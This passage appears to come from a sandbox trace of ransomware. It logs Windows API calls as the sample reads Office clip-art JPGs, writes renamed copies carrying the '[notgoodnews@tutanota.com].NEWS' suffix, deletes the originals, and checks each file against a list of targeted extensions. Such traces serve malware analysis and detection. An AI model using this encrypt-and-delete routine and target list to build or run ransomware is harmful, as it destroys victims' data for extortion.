dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.634] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0185.635] GetLastError () returned 0x0 [0185.636] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x7c6a, lpOverlapped=0x0) returned 1 [0185.639] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x7c70, lpOverlapped=0x0) returned 1 [0185.641] ReadFile (in: hFile=0x544, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0185.641] WriteFile (in: hFile=0x3f4, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0185.641] SetEndOfFile (hFile=0x3f4) returned 1 [0185.641] CloseHandle (hObject=0x3f4) returned 1 [0185.641] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0185.641] SetEndOfFile (hFile=0x544) returned 1 [0185.646] CloseHandle (hObject=0x544) returned 1 [0185.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0185.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg")) returned 1 [0185.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0185.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0185.648] lstrlenW (lpString=".doc") returned 4 [0185.648] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0185.648] lstrlenW (lpString=".docx") returned 5 [0185.648] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0185.648] lstrlenW (lpString=".pdf") returned 4 [0185.648] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0185.648] lstrlenW (lpString=".xls") returned 4 [0185.648] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0185.648] lstrlenW (lpString=".xlsx") returned 5 [0185.648] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0185.648] lstrlenW (lpString=".ppt") returned 4 [0185.648] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0185.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0185.648] lstrlenW (lpString=".zip") returned 4 [0185.648] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0185.648] lstrlenW (lpString=".rar") returned 4 [0185.648] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0185.648] lstrlenW (lpString=".bz2") returned 4 [0185.648] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0185.648] lstrlenW (lpString=".7z") returned 3 [0185.649] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0185.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0185.649] lstrlenW (lpString=".dbf") returned 4 [0185.649] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0185.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0185.649] lstrlenW (lpString=".1cd") returned 4 [0185.649] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0185.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0185.649] lstrlenW (lpString=".jpg") returned 4 [0185.649] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0185.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0185.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0185.649] lstrlenW (lpString=".doc") returned 4 [0185.649] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0185.649] lstrlenW (lpString=".docx") returned 5 [0185.649] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0185.649] lstrlenW (lpString=".pdf") returned 4 [0185.649] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0185.649] lstrlenW (lpString=".xls") returned 4 [0185.649] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0185.649] lstrlenW (lpString=".xlsx") returned 5 [0185.649] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0185.649] lstrlenW (lpString=".ppt") returned 4 [0185.649] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0185.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0185.649] lstrlenW (lpString=".zip") returned 4 [0185.649] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0185.650] lstrlenW (lpString=".rar") returned 4 [0185.650] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0185.650] lstrlenW (lpString=".bz2") returned 4 [0185.650] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0185.650] lstrlenW (lpString=".7z") returned 3 [0185.650] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0185.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0185.650] lstrlenW (lpString=".dbf") returned 4 [0185.650] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0185.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0185.650] lstrlenW (lpString=".1cd") returned 4 [0185.650] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0185.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0185.650] lstrlenW (lpString=".jpg") returned 4 [0185.650] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0185.650] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0185.650] lstrlenW (lpString="J0145707.JPG") returned 12 [0185.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0185.790] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=36820) returned 1 [0185.790] CloseHandle (hObject=0x558) returned 1 [0185.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 0x220 [0186.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0186.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0186.810] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.810] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0187.087] GetLastError () returned 0x0 [0187.087] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x8fd4, lpOverlapped=0x0) returned 1 [0187.090] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x8fe0, lpOverlapped=0x0) returned 1 [0187.091] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.091] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.091] SetEndOfFile (hFile=0x370) returned 1 [0187.092] CloseHandle (hObject=0x370) returned 1 [0187.092] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.092] SetEndOfFile (hFile=0x454) returned 1 [0187.095] CloseHandle (hObject=0x454) returned 1 [0187.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 1 [0187.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0187.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0187.097] lstrlenW (lpString=".doc") returned 4 [0187.097] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.097] lstrlenW (lpString=".docx") returned 5 [0187.097] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0187.097] lstrlenW (lpString=".pdf") returned 4 [0187.097] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.097] lstrlenW (lpString=".xls") returned 4 [0187.097] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.097] lstrlenW (lpString=".xlsx") returned 5 [0187.097] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0187.097] lstrlenW (lpString=".ppt") returned 4 [0187.097] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0187.097] lstrlenW (lpString=".zip") returned 4 [0187.097] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.097] lstrlenW (lpString=".rar") returned 4 [0187.097] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.097] lstrlenW (lpString=".bz2") returned 4 [0187.097] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.097] lstrlenW (lpString=".7z") returned 3 [0187.097] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0187.097] lstrlenW (lpString=".dbf") returned 4 [0187.097] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0187.097] lstrlenW (lpString=".1cd") returned 4 [0187.097] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0187.097] lstrlenW (lpString=".jpg") returned 4 [0187.097] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0187.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0187.098] lstrlenW (lpString=".doc") returned 4 [0187.098] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.098] lstrlenW (lpString=".docx") returned 5 [0187.098] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0187.098] lstrlenW (lpString=".pdf") returned 4 [0187.098] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.098] lstrlenW (lpString=".xls") returned 4 [0187.098] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.098] lstrlenW (lpString=".xlsx") returned 5 [0187.098] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0187.098] lstrlenW (lpString=".ppt") returned 4 [0187.098] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0187.098] lstrlenW (lpString=".zip") returned 4 [0187.098] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.098] lstrlenW (lpString=".rar") returned 4 [0187.098] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.098] lstrlenW (lpString=".bz2") returned 4 [0187.098] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.098] lstrlenW (lpString=".7z") returned 3 [0187.098] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0187.098] lstrlenW (lpString=".dbf") returned 4 [0187.098] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0187.098] lstrlenW (lpString=".1cd") returned 4 [0187.098] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0187.098] lstrlenW (lpString=".jpg") returned 4 [0187.098] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.098] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0187.098] lstrlenW (lpString="J0146142.JPG") returned 12 [0187.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.100] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=46508) returned 1 [0187.100] CloseHandle (hObject=0x454) returned 1 [0187.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 0x220 [0187.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.101] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.101] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0187.102] GetLastError () returned 0x0 [0187.102] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0xb5ac, lpOverlapped=0x0) returned 1 [0187.105] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xb5b0, lpOverlapped=0x0) returned 1 [0187.107] ReadFile (in: hFile=0x454, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.107] WriteFile (in: hFile=0x370, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.107] SetEndOfFile (hFile=0x370) returned 1 [0187.107] CloseHandle (hObject=0x370) returned 1 [0187.107] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.107] SetEndOfFile (hFile=0x454) returned 1 [0187.110] CloseHandle (hObject=0x454) returned 1 [0187.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg")) returned 1 [0187.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0187.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0187.112] lstrlenW (lpString=".doc") returned 4 [0187.112] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.112] lstrlenW (lpString=".docx") returned 5 [0187.112] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0187.112] lstrlenW (lpString=".pdf") returned 4 [0187.112] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.112] lstrlenW (lpString=".xls") returned 4 [0187.112] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.112] lstrlenW (lpString=".xlsx") returned 5 [0187.112] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0187.112] lstrlenW (lpString=".ppt") returned 4 [0187.112] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0187.112] lstrlenW (lpString=".zip") returned 4 [0187.112] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.112] lstrlenW (lpString=".rar") returned 4 [0187.112] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.112] lstrlenW (lpString=".bz2") returned 4 [0187.112] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.112] lstrlenW (lpString=".7z") returned 3 [0187.112] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0187.113] lstrlenW (lpString=".dbf") returned 4 [0187.113] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0187.113] lstrlenW (lpString=".1cd") returned 4 [0187.113] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0187.113] lstrlenW (lpString=".jpg") returned 4 [0187.113] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0187.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0187.113] lstrlenW (lpString=".doc") returned 4 [0187.113] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.113] lstrlenW (lpString=".docx") returned 5 [0187.113] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0187.113] lstrlenW (lpString=".pdf") returned 4 [0187.113] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.113] lstrlenW (lpString=".xls") returned 4 [0187.113] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.113] lstrlenW (lpString=".xlsx") returned 5 [0187.113] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0187.113] lstrlenW (lpString=".ppt") returned 4 [0187.113] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0187.113] lstrlenW (lpString=".zip") returned 4 [0187.113] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.113] lstrlenW (lpString=".rar") returned 4 [0187.113] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.113] lstrlenW (lpString=".bz2") returned 4 [0187.113] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.113] lstrlenW (lpString=".7z") returned 3 [0187.113] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0187.113] lstrlenW (lpString=".dbf") returned 4 [0187.113] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0187.114] lstrlenW (lpString=".1cd") returned 4 [0187.114] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0187.114] lstrlenW (lpString=".jpg") returned 4 [0187.114] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.114] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0187.114] lstrlenW (lpString="J0148309.JPG") returned 12 [0187.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.115] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=43674) returned 1 [0187.115] CloseHandle (hObject=0x454) returned 1 [0187.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 0x220 [0187.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0187.116] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.116] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program 